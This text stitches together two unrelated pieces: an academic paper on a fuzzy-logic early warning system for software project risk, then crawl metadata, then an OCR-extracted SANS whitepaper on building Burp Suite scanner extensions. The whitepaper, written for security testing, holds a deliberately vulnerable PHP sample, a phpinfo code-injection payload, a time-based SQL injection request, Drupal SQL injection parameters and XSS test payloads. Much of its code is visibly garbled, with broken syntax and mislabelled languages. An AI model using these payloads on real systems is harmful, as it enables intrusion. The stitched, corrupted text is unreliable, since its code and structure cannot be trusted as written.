It is reported that $275 billion a year is spent on software projects, only 26 percent of software projects are completed successfully, and only 72 percent of projects are completed at all, successfully or not. One of the main reasons behind this unfruitful development is that it is often too late to correct the problems by the time they are detected. In order to decrease cost and improve quality, it is necessary for project managers and developers to visualize potential risks in advance. It clearly indicates the need for early warning about the potential risks. Many early warning systems are available in our society and in many other fields of engineering and found to be very beneficial; and the software industry also needs such a system to reduce the risks. A few research projects are in preliminary stages for assessing individual risk factors directly based on a few software metrics. Although they have demonstrated clearly their benefits, many challenging issues remain to be resolved. Conflicting risk assessment results may be obtained based on multiple groups of metrics from multiple perspectives, and it is very difficult to reconcile them since they are crisp. The overall risk associated with the entire process or system from multiple types of risk factors often is not obtained. In addition, most of the existing works are directly based on quantitative measurements represented by numbers, which are sometimes inaccurate, unreliable, and incomplete. The quantitative measurements have a lot of uncertainty and their risk assessment may not reliable. Human common sense and knowledge, which form the basis of any risk management exercise, are ignored.
On the other hand, fuzzy logic has found a lot of successful applications in risk assessment from financial markets, environment control, project control, to health care. It can help to detect risks as early as possible in an uncertain environment. More importantly, it allows us to use common sense and knowledge for risk detection. It provides a rich set of mathematical tools for assessing risks associated with software project management and software quality control.
1.2 Relevant work
Barry Boehm’s work in software metrics, such as the COCOMO model and the spiral model has originated research in software risk assessment [BOE81, BOE89, BOE00]. The quantitative effort and cost estimation model has significant impact in software engineering. Several other research projects have demonstrated interesting results. NASA’s approach of risk assessment directly based on software metrics shows promising results [HYAT96]. NASA’s WISE Project Management System [NASA95] uses the Internet to provide the framework for issue management in software development. Enhanced Measurement for Early Risk Assessment of Latent Defects (EMERALD) [NORTEL96, NOTEL98], developed in the Nortel, consists of decision support tools to help software designers and managers to assess risk to improve software quality and
reliability in the area of defect analysis. At various points in the development process EMERALD predicts which modules are likely to be fault-prone. In a research paper [Luqi2000], a formal model is introduced to assess the risk and the duration of software projects, based on a few objective indicators that can be measured early in the process. The approach supports (a) automation of risk assessment, and (b) early estimation methods for evolutionary software processes. Project risks related to schedule and budget is addressed with the help of risk assessment model based on software metrics. The indicators used are requirements volatility (RV), complexity (CX), and efficiency (EF). In all the above systems, individual risk factors are assessed directly based on software metrics. Overall risk associated with the entire process or system often is not obtained. In addition, conflicting results may be obtained based on multiple groups of metrics from multiple perspectives, and it is very difficult to reconcile them since they are crisp. In addition, all of the above works are directly based on quantitative measurements represented by numbers, which are sometimes not very accurate, reliable, and complete. Human common sense and knowledge, which form the basis of any risk management exercise, are ignored.
In search for best predictive technique for effort estimation, comparison of neural network models, fuzzy logic models and regression models are made in a research project [GRAY97]. It concludes that neuro-fuzzy hybrids may be used for better estimation. Researchers have tried to incorporate the fuzzy logic for estimation in software development. The use of case based reasoning for software project management is explored in another recent research project [CVAS94]. The case indices are expressed using fuzzy sets. Risk assessment is done by employing fuzzy aggregation to evaluate the cases. Application of fuzzy clustering for software quality prediction is proposed in a paper, where data set is modeled by fuzzy clusters and fuzzy inference technique is applied to predict fault-prone modules [TMK00]. The drawbacks of use of traditional methods for risk assessment like checklists, risk matrix are discussed and a fuzzy expert system for early operational risk assessment is developed in another related research project [TMK02].
Various factors for risk assessment in software development can be measured quantitatively using software metrics. All the metrics represent measurements from many different perspectives. For example, ‘Size’ is associated with software artifact, whereas, ‘Effort’ is associated with development process. Similarly ‘Productivity’ is associated with individuals as well as organization units. Hence we use a ‘dimensional analytic model’ to organize the metrics from three different dimensions: Product, Process and Organization [FLIU99]. Separation of perspectives of different metrics helps to establish relationship between metrics from the same dimension. In addition we need to capture relationships of metrics across dimensions, as the software development is characterized by three dimensions as a whole. A set of fuzzy rules are developed based on individual metrics and their combinations from these three dimensions to identify risks.
The system is customizable. The thresholds for many inference rules of risks based on metrics differ a lot for different organizations. Hence it is not wise to have the thresholds hard coded in the system. As mentioned earlier, only prediction of risk is not enough. The root cause of the risk should be found out. Our system has trace-down capability for the identified risk. The risk level is projected over all the three dimensions. The faulty module, phase or group can be traced-down with the help of the dimensional analytic model.
2. System Architecture
The system is designed in such a way that it provides warning across all phases in software engineering cycles. The system architecture is shown in Fig.1. It contains following primary components: 1) Metric Database 2) Risk Knowledge Base 3) Dimensional Analytic Model 4) Intelligent Risk Assessment Engine and 5) Visual Warning Issuing System.
1.3 Our Approach
We develop an intelligent early warning system using fuzzy logic based on an integrated set of software metrics from multiple perspectives to make sponsors, users, project managers and software developers aware of many potential risks as early as possible. It has the potential to improve software development and maintenance by a great margin.
Fig 1: An Early warning system for software development and maintenance
2.1 Dimensional Analytic Model for Metrics Database
Risk should be identified based on objective data about software product, process and organization. Metrics database stores software metrics which are used for risk analysis and warning generation. The software metrics serve as base for intelligent risk assessment in software development and maintenance. The metrics database contains three types of metrics: 1) Product Metrics 2) Process Metrics and 3) Organization Metrics. Dimensional Analytic Model is used to visualize software development quantitatively as shown in the Fig.2.
Example:
The ‘Lines of code’ is a module-level as well as system level metric from product dimension. The ‘Volatility index’ is a system-level metric. The ‘Schedule deviation’ is a task-level, phase-level as well as project-level metric from process dimension. Along organization dimension, the ‘Productivity’ is an individual-level, group-level and company-level metric.
2.2 Knowledge Base
Knowledge base contains a number of fuzzy linguistic variables (fuzzy sets), and a number of fuzzy inference rules. Semantics of fuzzy linguistic variables (fuzzy sets) are defined by their membership functions based on software metrics. It contains a list of fuzzy inference rules about risk detection across all phases in software life cycle. Fuzzy rules are basically of the IF-THEN structure. Fuzzy inference rules are represented in antecedent-consequence structure. Antecedents represent symptoms of software artifacts, processes or organizations in terms of risks based on fuzzy sets and software metrics. Since our system is based on the ‘Dimensional Analytical Model’ rules use individual metrics and their combinations based on their relationships from different dimensions.
Product Metric based Rule
IF Volatility index of subsystem is HIGH AND Requirements quality is LOW THEN Schedule Risk is VERY HIGH
Process Metric based Rule
IF Effort deviation is HIGH AND Customer involvement is HIGH THEN Risk of schedule overrun is VERY HIGH
Organization Metric based Rule
IF Number of Communication paths within a group are HIGH AND Group Productivity is LOW THEN Schedule Risk is VERY HIGH
Relation between product and process dimensions
IF Customer involvement is HIGH AND Volatility index is HIGH THEN Schedule risk is VERY HIGH
**Individual Risk Factor Assessment**
A list of rules is used to detect individual risk factors and to issue warnings about them ranging from highest to lowest. The intensity of the symptoms and associated risks are expressed in terms of fuzzy variables (fuzzy sets). In order to identify an overall risk associated with an ongoing process or system in-built, risk factors associated with on-going basic units of a software process or system should be assessed. A number of fuzzy inference rules are developed to assess individual risk factors associated with basic units of process, product, or organization.
2.3 **Intelligent Risk Assessment**
Intelligent risk assessment is the result of fuzzy inference engine, which is the central processing part of the system. At a particular state of software development, all the metrics have certain values along all the three dimensions. These metrics form a set of input for the inference engine. Inference engine apply the knowledge base on this set of inputs to produce Quality risk, Schedule overrun and Cost overrun as output set. The input and output sets are stored over the time period for analysis purpose.

Various steps involved in fuzzy inference are as described below
**a) Fuzzyfying Inputs**
The first step is to take the inputs (metrics) and determine the degree to which they belong to each of the appropriate fuzzy sets via membership functions. Fig. 4 shows metrics ‘Volatility Index’ having value 0.5 is mapped on trapezoidal membership function for High region.

**b) Apply Fuzzy Rules**
The fuzzy rules may have more than 2 antecedents. Each antecedent is fuzzified. OR operator is applied to the fuzzified values of antecedents across every rule. This results in maximum of the values of antecedents as output. Fig. 5 shows the application of fuzzy rule with two antecedents. The antecedent part of the rules is: ‘if Volatility Index is High and Cyclomatic Complexity is High’

**c) Implication Method**
Before applying the implication method, we must take care of the rule's weight. Every rule is given a weight ranging from 0 to 1. Once proper weights are assigned to each rule, the implication method is applied. A consequent is a fuzzy set represented by a membership function. The resultant is an area of fuzzy set with degree of membership chopped. Fig. 6 shows the implication method. The rule in Fig. 5 has one consequent ‘Cost risk’. The result of step (b) is projected on the consequent to obtain the resultant area of membership.
d) Aggregation
Many rules may have the same consequent. Each rule produces the region of such consequent separately. Aggregation is the process by which the fuzzy sets that represent such consequents are combined into a single fuzzy set. The input of the aggregation process is the list of truncated output functions returned by the implication process for each rule. The output of the aggregation process is a fuzzy set for each output variable. There exist many ways to combine multiple decision criteria in fuzzy decision science. Many aggregation operators can be used to fuse multiple risk factors in fuzzy risk assessment and fuzzy logic [ZIMMERMANN91]. They can be combined with t-norms, t-conorms, and compromise operators. The t-norms and t-conorms operators have been discussed extensively in fuzzy logic [ZIMMERMANN91]. The t-norms operators are a class of fuzzy conjunction operators. Examples of t-norms operators include MIN and algebraic product. The t-conorms operators are a class of fuzzy disjunction operators. Examples of t-conorms operators include MIN and algebraic sum. Averaging and compensatory operators are often used to combine multiple risk factors in fuzzy risk assessment if they are conflicting with each other. The resulting trade-offs of an average operator lie between the most optimistic lower bound and the most pessimistic upper bound. For a compensatory operator, a decrease in one operand can be compensated by an increase in another operand. Thus the "min", a t-norm operator, and the "max", a t-conorm operator, is not compensatory. Actually, many averaging operators are not compensatory and vice versa. An operator is said to be a compromise operator if and only if it is both averaging and compensatory operator. An example of aggregation of quality risk using t-norm operator based on system structure is shown in Fig. 7. Rules considered are,
\[\text{Rule 1: If Volatility Index is MEDIUM and Cyclomatic Complexity is HIGH then Cost Risk is MEDIUM}\]
\[\text{Rule 2: If Volatility Index is HIGH and Cyclomatic Complexity is HIGH then Cost Risk is HIGH}\]
\[\text{Rule 3: If Volatility Index is HIGH and Cyclomatic Complexity is HIGH then Cost Risk is VERY HIGH}\]
e) Defuzzification
The input for the defuzzification process is a fuzzy set (the aggregate output fuzzy set) and the output is a single number. As much as fuzziness helps the rule evaluation during the intermediate steps, the final desired output for each variable is generally a single number. However, the aggregate of a fuzzy set encompasses a range of output values, and so must be defuzzified in order to resolve a single output value from the set. Perhaps the most popular defuzzification method is the centroid calculation, which returns the center of area under the curve.
Cost Risk = 0.6
Result of Defuzzification
Fig. 8 Defuzzification
2.4 Visual Warning Issuing
From the fuzzy inference engine, Quality, Schedule and Cost risks are predicted. The risk regions corresponding to their causes can be represented visually. Fig 9-a shows an example of visual warnings produced by the system.
The graph in Fig. 9-a shows the quality, schedule and cost risks for all modules, predicted as result of the fuzzy inference system. The risks predicted are mapped on product dimension. From this graph manager can get overall picture for all the module risks. The trade-off between three types of risks becomes easier with such visual warning. For example, for module 15, Schedule and Cost risks are in safe region. So if Quality is not of main concern, then manager can decide to proceed in the development cycle. Else, if quality is of prime concern, then it is advisable to stop and reconsider the factors causing high quality risks. These factors can be analyzed from graph shown in fig. 9-b.
**Fig. 9-a Risks predicted from product dimension**
**Fig. 9-b Risk factor analysis in product dimension**
This graph helps in finding the cause factors for high risk modules. The y-axis shows the fuzzy regions for the metrics values (1-Low, 2-Medium, 3-High, 4-Very High). Similar type of graph can be generated for process and organization dimensions.
**Tracing down to cause of risk**
As, mentioned earlier, only identification of risk is not sufficient. The risks should be traced down to find out their root causes. A graph in Fig. 10-a shows the quality risk predicted over time period of 10 months for overall system. Vertical axis shows the risk level (1-Low, 2-Medium, 3-High, 4-Very High).
**Fig. 10-a Quality risk of entire system over 10 months period**
This risk needs to be mapped to all the three dimensions to search for the cause of risk for module/phase/group. Following graph (Fig. 10-b) shows the quality risk for all the modules on product dimension. This example includes four modules. From this graph, high risk modules are easily identified.
**Fig. 10-b Module level tracing**
Further in order to find factors for the risk, each module/phase/group is traced down for each factor considered in fuzzy inference. A graph in Fig 10-c shows metrics of module 1 and their risk levels over the time period of 10 months. This example includes the following module metrics: size, volatility index and cyclomatic complexity.
**Fig 10-c Metrics level tracing**
3. Conclusion
This paper discusses a customizable early warning system for software development. The system is able to detect the risks in very early phase of development using fuzzy logic. It differs from other traditional risk assessment methods, as it utilizes the quantifiable aspects of software development i.e. metrics from three different dimensions: product, process and organization. Direct utilization of metrics for risk assessment is very difficult task due to their imprecise nature. Intelligent risk detection rules utilize not only individual metrics in each dimension, but also their combinations from these three dimensions. This improves the accuracy risk prediction by fuzzy inference engine. The quality, schedule and cost risks assessed can be traced down to the module, development task or group, which is responsible for the expected failures. The individual factors of identified risks can be analyzed through visual warnings. Fuzzy logic and neural networks can be used in combination to further enhance fuzzy inference engine in our future research.
4. Acknowledgements
This system could have not been developed without the support and assistance of team members. We appreciate the assistance of our Software Engineering project team. The team comprised of Sanjeev, Toby, Austin, Steve, Kolcu, Lee Wang, Ghatti, Siriram, Pongupati, Praveen, Gaurav and Kaustubh. They contributed in development of metrics and visual warning part of the system. It’s their solidarity; constant input and encouragement that helped us tackle most of the basic issues.
References
|
{"Source-Url": "http://scholarsmine.mst.edu/cgi/viewcontent.cgi?article=1799&context=faculty_work", "len_cl100k_base": 4353, "olmocr-version": "0.1.50", "pdf-total-pages": 8, "total-fallback-pages": 0, "total-input-tokens": 22691, "total-output-tokens": 5742, "length": "2e12", "weborganizer": {"__label__adult": 0.0003097057342529297, "__label__art_design": 0.0002758502960205078, "__label__crime_law": 0.0003039836883544922, "__label__education_jobs": 0.001041412353515625, "__label__entertainment": 5.733966827392578e-05, "__label__fashion_beauty": 0.00013196468353271484, "__label__finance_business": 0.00040793418884277344, "__label__food_dining": 0.0003285408020019531, "__label__games": 0.0004954338073730469, "__label__hardware": 0.0005521774291992188, "__label__health": 0.0004801750183105469, "__label__history": 0.00013327598571777344, "__label__home_hobbies": 7.081031799316406e-05, "__label__industrial": 0.0003108978271484375, "__label__literature": 0.00026798248291015625, "__label__politics": 0.00017642974853515625, "__label__religion": 0.00031495094299316406, "__label__science_tech": 0.011474609375, "__label__social_life": 9.226799011230467e-05, "__label__software": 0.005828857421875, "__label__software_dev": 0.97607421875, "__label__sports_fitness": 0.00022518634796142575, "__label__transportation": 0.0003814697265625, "__label__travel": 0.0001430511474609375}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 24939, 0.02733]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 24939, 0.36209]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 24939, 0.91626]], "google_gemma-3-12b-it_contains_pii": [[0, 864, false], [864, 5304, null], [5304, 9881, null], [9881, 12276, null], [12276, 14914, null], [14914, 18029, null], [18029, 20210, null], [20210, 24939, null]], "google_gemma-3-12b-it_is_public_document": [[0, 864, true], [864, 5304, null], [5304, 9881, null], [9881, 12276, null], [12276, 14914, null], [14914, 18029, null], [18029, 20210, null], [20210, 24939, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 24939, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 24939, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 24939, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 24939, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 24939, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 24939, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 24939, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 24939, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 24939, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 24939, null]], "pdf_page_numbers": [[0, 864, 1], [864, 5304, 2], [5304, 9881, 3], [9881, 12276, 4], [12276, 14914, 5], [14914, 18029, 6], [18029, 20210, 7], [20210, 24939, 8]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 24939, 0.0]]}
|
olmocr_science_pdfs
|
2024-11-30
|
2024-11-30
|
62564d595c41a29d9c38dc3c9504cd430cad3468
|
Use offense to inform defense. Find flaws before the bad guys do.
Copyright SANS Institute
Author Retains Full Rights
Interested in learning more?
Check out the list of upcoming events offering "Hacker Tools, Techniques, Exploits, and Incident Handling (SEC504)" at https://pen-testing.sans.org/events/
Burp Suite Professional is one of the best web application vulnerability scanners in the market. The application has lots of useful built-in functions to find security problems. The main problem is the slowly updated scanning engine. Security experts find new attack methods almost every day, but up-to-date integration of these into the scanner is quite impossible. Hopefully, Burp Suite has the Extender function for developing new scanning techniques. Based on an eBay hacking bug bounty result, Drupal 7 SQL injection vulnerability, Perl DBI problems and UTF8 Cross-Site Scripting a new scanner extension was born. The ActiveScan++ extension is good starting point to develop a new scanning approach. The new implementation is good for every aspect of web application vulnerability assessments, for example, bug bounties.
1. Introduction
Burp Suite Professional is a powerful HTTP interception proxy with lots of additional functions like Spider, Sequencer or Scanner (Portswiggernet, 2015). This tool is one of the most recommended security scanners (Henry Dalziel, 2015). The capabilities of this software almost make this the perfect web vulnerability scanner.
In conclusion, the main problem is the slowly updated scanning engine according to new attack mechanisms and user requests (Portswiggernet, 2015). Security experts find new attack methods almost every day, but up-to-date integration of these into the scanner is quite impossible.
Burp Suite has the Extender function for developing new scanning techniques. PortSwigger Ltd. provides useful and complex documentation with samples for extension development (Portswiggernet, 2015). Burp Suite is written in Java but supports writing extensions in Java, Python or Ruby. There is a discontinued forum (Portswiggernet, 2015) and the new Support Center to discuss or read about the development (Portswiggernet, 2015).
The test cases of the new plugin are based on bug bounty results, impressive web attacks and bypass techniques.
2. Scanning engine development
Burp Suite has an extension store called BApp Store and this is available from the Extender tool. The ActiveScan++ scanning extension (1.0.12 – 20151118) is written in Python language and supports the following vulnerability assessments:
- Shellshock;
- Blind code injection (Ruby’s open());
- Host header attacks.
Instead of developing the attack methods from scratch the ActiveScan++ extension is good starting point. The source code is available on GitHub under Apache license (Kettle, 2014). The Burp Suite Professional version 1.6.30 was used during the testing.
2.1. PHP `preg_replace()` array to string attack
This attack method was described in a public blog post about an eBay PHP remote code injection vulnerability (David Vieira-Kurz, 2013). Burp Suite Professional does not support this kind of array to string conversion problem detection, only simple code injection. One of the discussions on reddit.com included a vulnerable PHP code sample which is good for testing the extension.
First of all one must define a new scanner check by the registerScannerCheck() method:
```
<?php
# https://www.reddit.com/r/netsec/comments/lsqppp/ebay_remotecodeexecution/
$query = $_GET['q'];
if(check_string($query)) {
$query = filter_string($query);
} else {
echo "Error: Variable is not a string.";
die;
}
function check_string($str) {
return preg_match("/\w+/", (string)$str);
}
function filter_string($str) {
return preg_replace('/^(.*)$/i', "filter_function("\1")", $str);
}
function filter_function($str) {
// do encoding / filtering etc. here
return $str;
}
```
Figure 1. - Vulnerable preg_replace() usage
The PhpPregArray class is based on CodeExec class of the original extension. PhpPregArray has two methods: __init__ and doActiveScan. The __init__ defines the callbacks and the testing payload:
```
class BurpExtender(IBurpExtender, IScannerInsertionPointProvider, IHttpListener):
def registerExtenderCallbacks(self, this_callbacks):
global callbacks
callbacks = this_callbacks
self_helpers = callbacks.getHelpers()
callbacks.registerScannerCheck(PhpPregArray(callbacks))
```
Figure 2. - Define callbacks
```
class PhpPregArray(IScannerCheck):
def __init__(self, callbacks):
self_helpers = callbacks.getHelpers()
self_done = getIssues('Code injection')
self_payloads = '${phpinfo()}'
```
Figure 3. - PhpPregArray initialization
The `doActiveScan()` method supports only GET and POST HTTP requests, other injectable HTTP processing are out of scope. The following part of the code is set the HTTP method for the scanning according to the original HTTP request:
```python
def doActiveScan(self, basePair, insertionPoint):
if self._helpers.analyzeRequest(basePair.getRequest()).getMethod() == 'GET':
method = IPParameter.PARAM_URL
else:
method = IPParameter.PARAM_BODY
```
**Figure 4. - Set up the HTTP method**
The `doActiveScan` method of the `PhpPregArray` transforms the GET or POST parameters into two arrays, therefore the method needs a parameter list:
```python
parameters = self._helpers.analyzeRequest(basePair.getRequest()).getParameters()
```
**Figure 5. - Collect the HTTP parameters**
To avoid the unnecessarily scanning requests the extension makes checks only when the name of the parameter is equal the name of the actual insertion point. Unfortunately, this only works in Scanner but not from Intruder because Intruder uses digits for the names of the insertion points:
```python
for parameter in parameters:
if parameter.getName() == insertionPoint.getInsertionPointName():
p0 = parameter.getName() + '[0]
p1 = parameter.getName() + '[1]
```
**Figure 6. - Constructing the array parameters**
Simple string concatenation is enough to construct the new array parameters `p0` and `p1`. The `doActiveScan()` method removes the original parameter and makes a new HTTP request:
```python
newRequest0 = self._helpers.removeParameter(basePair.getRequest(), parameter)
```
**Figure 7. - Original parameter removing**
The next two lines build the new values of the parameters, the first can be anything, but the second is the payload or vice versa:
---
Author Name, email@address
Adding the newly created parameters is the last task before sending the scanning HTTP request:
Before the verification of the vulnerability, the extension sends the HTTP request and save the response for further analysis:
The payload contains the phpinfo() function accordingly the extension searches the “_REQUEST” string which is a part of the phpinfo() output:
If the vulnerability has not been reported, lines 139-40 of the code does this. The CustomScanIssue method belongs to the ActiveScan++ extension and makes an issue from the vulnerability, saves the HTTP request and sets up the additional information. If the extension found any interesting vulnerabilities, then it generates the following issue:
Burp Suite (up) with fancy scanning mechanisms
The request tab contains the detailed trigger information:
```
Host: 172.16.29.166
User-Agent: Mozilla/5.0 (X11; Linux i586; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
```
Figure 13. - Attack payload
The response tab shows the output of the payload which is the output of the `phpinfo()` function:
```
Code injection
Issue: Code injection
Severity: High
Confidence: Certain
Host: http://172.16.29.166
Path: /p3.php
Note: This issue was generated by the Burp extension: activeScan++.
Issue detail
The application appears to evaluate user input as code.
This issue was reported by ActiveScan++
```
Figure 12. - Reported issue
The request tab contains the detailed trigger information:
The extension is working properly and can detect the mentioned vulnerability.
2.2. Perl DBI quote bypass
This attack mechanism is based on the DBI quote bypass technique (Netanel Rubin, 2014). Based on Netanel’s demo code the following CGI script was the testing interface:

The development tasks are simple, getting the current insertion points, names of the HTTP parameters and finally add parameters with the same names to the request with
value 2. The getInsertionPoints() is defined inside the BurpExtender class and the BurpSuite is notified about its presence through registerScannerInsertionPointProvider(self). When the active scan runs, the scanner invokes this method and gets a list of the insertion points.
```python
def getInsertionPoints(self, baseRequestResponse):
path = self.helpers.analyzeRequest(baseRequestResponse).getParams()
params = self.helpers.analyzeRequest(baseRequestResponse).getParameters()
```
**Figure 16. - Getting the URL and HTTP parameters**
The scanning engine handles only “pl” and “cgi” extensions:
```python
if i in paths:
ext = path.split('.')[-1]
else:
ext =
if ext in ['pl', 'cgi']:
return [InsertionPoint_Perl(self.helpers, baseRequestResponse.getRequest(), parameter) for parameter in parameters]
```
**Figure 17. - Extension validation**
The original HTTP request and parameters are given to the constructor of the InsertionPoint_Perl class:
```python
class InsertionPoint_Perl(IScannerInsertionPoint):
def __init__(self, helpers, baseRequest, dataParameter):
self.helpers = helpers
self.baseRequest = baseRequest
self.dataParameter = dataParameter
```
**Figure 18. - Init method of the InsertionPoint_Perl class**
The next part of the code copies the actual value of the HTTP parameter with apostrophe prefix. After this string, there is the insertion point to check the possible SQL injection attack. The DBI quote bypass requires adding the original parameter name with value 2, this is the insertionPointSuffix:
```python
dataValue = dataParameter.getValue()
self.insertionPointPrefix = "\" + dataValue
self.baseValue = dataValue
self.insertionPointSuffix = ";" + dataParameter.getName() + "=2"
```
**Figure 19. - Constructing the proper string to inject the attack payloads**
The getInsertionPointName method returns the scanned HTTP parameter name:
Author Name, email@address
The `getInsertionPointName` method returns the base value of the actual insertion point:
```
42 def getInsertionPointName(self):
43 return self_dataParameter.getName()
```
The `getBaseValue` method returns the base value of the actual insertion point:
```
44 def getBaseValue(self):
45 return self.__baseValue
```
The `buildRequest()` method creates a new request with the specific payload in the current insertion point. The payload must be URL-encoded; otherwise, the injection does not work. The Scanner automatically adjusts the Content-Length header if it is needed. The `updateParameter()` method updates the insertion point parameter with the newly constructed attack string and payload:
```
46 def buildRequest(self, payload):
47 input = self_insertionPointPrefix + self_helpers.urlEncode_string(self_insertionPointPayload) + self_insertionPointSuffix
48 return self_helpers.updateParameter(self_buildRequest, self_request, self_buildRequest.buildRequest(self_dataParameter.getName()), input, self_request.getParameterByName('self_buildRequest')).getFinalInput()
```
The actual scanning and issue validation is done by the Scanner engine of Burp Suite Professional. The `getInsertionPoint_Perl` class only defines a new insertion point and adds the bypass parameter:
```
```
### 2.3. Drupal 7 SQL injection vulnerability
Drupal 7 versions before 7.32 contain serious unauthenticated SQL injection vulnerabilities (Czumak, 2014). The method is almost the same as the Perl DBI quote
```
GET / CGI-bin/a.cgi?user=root' AND+ (select*from(select(sleep(20))|a)--&user=2 HTTP/1.1
Host: 172.16.25.166
```
The Perl DBI quote bypass vulnerability was found.
detection; therefore, this section describes only the differences. The getInsertionPoints method contains the following conditional:
```java
if (test in ['cgi', 'pl']) {
return [InsertionPointDrupal(self, helpers, baseRequestResponse, getRequest(), parameter for parameter in parameters )];
} else {
return [InsertionPointDrupal(self, helpers, baseRequestResponse, getRequest(), parameter for parameter in parameters )];
}
```
*Figure 24. The scanning function is defined by the extension*
If the file extension in URL is not “CGI” or “PL” the Drupal scanning engine is the active one. At this point, there are some opportunities to reduce the unnecessary scanning cases for example, excluding the ASPX pages. The important part of the InsertionPoint_Drupal class is the init method. The lines between 69 and 71 construct the tricky HTTP parameters and SQL query because the Burp Suite Professional has no appropriate scanning case:
```java
if (self._selfInsertionPointPrefix == "x") {dataParameter.getName() + self._selfInsertionPointSuffix = "\$x"; self._baseValue = "x"; self._selfInsertionPointSuffix = "\$xfirst$" + dataParameter.getName() + "\$xsecond";
```
*Figure 25. - Construction of the detection payload*
For the testing, the init method must replace the original names of the HTTP parameters. The insertion point definition cannot do this because the baseValue cannot be empty. However, the unhandled additional parameters do not affect the server side processing. The Burp Suite Professional adds the equal sign; thus, the array insertion point is not easily possible. The “x” HTTP variable is only a prefix padding to make the insertion into an array. During testing phases, Burp Suite could not find the SQL injection vulnerabilities, although it would be efficient to use the built-in SQL injection detection engine. The described method modifies the HTTP request so that Burp Suite would detect the SQL injection by itself. The 71st line represents the rest of the HTTP parameter string which is a simple constant except the actual parameter name. After this modification, Burp Suite is capable of detecting this kind of vulnerability:
```java
Start: SQL Injection
Severity: High
Host: hip
Path: http://172.16.29.167
```
*Figure 26. - Reported issue*
2.4. UTF8 Cross-Site Scripting
The ValidateRequest filter - if enabled in ASP.net environment - can prevent script injection attacks. The server does not accept data containing un-encoded HTML. This defense is easily bypassed with UTF8 encoded payload (Jardine, 2011). The attack is best for stored XSS detection if the data is stored in an ANSI character field in an SQL database. This scanning engine has some predefined UTF8 encoded XSS payloads and some other attack approaches. The engine is based on the mentioned PHP code execution class. The init method contains the new payload array:
```python
146 class UTF8XSS([ScannerCheck]):
147 def _init_(self, callbacks):
148 self_helpers = callbacks.gethelpers()
149 self_paysloads = [
150 # UTF8 encoded XSS payload
151 # The scanning engine has some predefined UTF8 encoded XSS payloads and some other attack approaches.
152 # The engine is based on the mentioned PHP code execution class.
```
There is one big problem with this solution if the data visualization is on different web interfaces. In this implementation, every payload triggers the alert(1) method of JavaScript. If more payloads trigger the vulnerability after the character conversation, the scanning engine is not able to detect which is the correct one. The easiest solution is that every payload must contain different alert string.
The HTTP method handling and parameter collecting are the same as in the PHP injection class:
The following loops inject all the elements of the payload array in every HTTP parameter value. This can be done by removing the scanned HTTP parameter completely and add a new one with the iterated attack payload. The newRequest variable contains the modified HTTP request:
```python
for parameter in parameters:
if parameter.getName() == insertionPoint.getName():
for xss in self.payloads:
newRequest = self.removeParameter(basePair.getRequest(), parameter)
newParam = self.buildParameter(parameter.getName(), xss, method)
newRequest = self.addParameter(newRequest, newParam)
```
### Figure 30. - Constructing the testing payload
The attack payload is sent in the same way as the aforementioned scanning techniques:
```python
attack = callbacks.makeHttpRequest(basePair.getHttpService(), newRequest)
resp = self.helpers.bytesToString(attack.getResponse())
```
### Figure 31. - HTTP request and response
The detection of the successful attack is quite simple. After the character transformation HTTP response must contain the “>`alert(1)`<” string. The following code verifies the existence of the mentioned JavaScript sequence:
```python
if `>`alert(1)`< in resp:
url = self.helpers.analyzeRequest(attack).getURL()
if (url not in self.done):
self.done.append(url)
return [CustomScanIssue(attack.getHttpService(), url, [attack], 'Cross-site scripting',
'The application appears to evaluate user input.<sp>,' 'Firm', 'High')]
```
### Figure 32. - Validation of the vulnerability
The vulnerability reporting is the same as in case of the presented PHP `preg_replace()` attack. The testing environment was a simple PHP script with string replacing function.
3. Conclusion
New scanning extension development for Burp Suite Professional is not a very difficult task considering the accessible documentation, sample codes and support. There are lots of interesting and unimplemented attack techniques which are good development goals, like the PHP extract() issue (De noren, 2013). Web bug bounty disclosures are also a good starting point to get an idea. Improving the scanner engine is a good opportunity to find exotic or rare vulnerabilities.
The Logger++ extension (Ncc group, 2015) is very useful during the development process because it can log the packets which are coming from an extension. This is more practical than checking the HTTP log files or sniffing the network packets. The amount of the logged data can be reduced by enabling only the tested attack case in the Scanner or totally disabling the active scanning areas when developing a new scanning method.
Possible further development could be the time based or blind PHP command injection detection. This version of the scanner can only recognize the case if the interpreted input is returned. The Perl environment can also be affected by another type of HTTP parameter pollution (Netanel Rubin, 2014). The improved ActiveScan++ plugin can be downloaded from GitHub (Silent Signal, 2015).
References
https://portswigger.net/burp/
https://support.portswigger.net/customer/en/portal/topics/719256-feature-requests/questions
# Upcoming SANS Penetration Testing
<table>
<thead>
<tr>
<th>Event Name</th>
<th>Location</th>
<th>Dates</th>
<th>Venue</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS London April Live Online 2020</td>
<td>London, United Kingdom</td>
<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Apr 27</td>
<td></td>
<td></td>
</tr>
<tr>
<td>SANS Pen Test Austin 2020</td>
<td>Austin, TX</td>
<td>Apr 27, 2020 - May 02, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
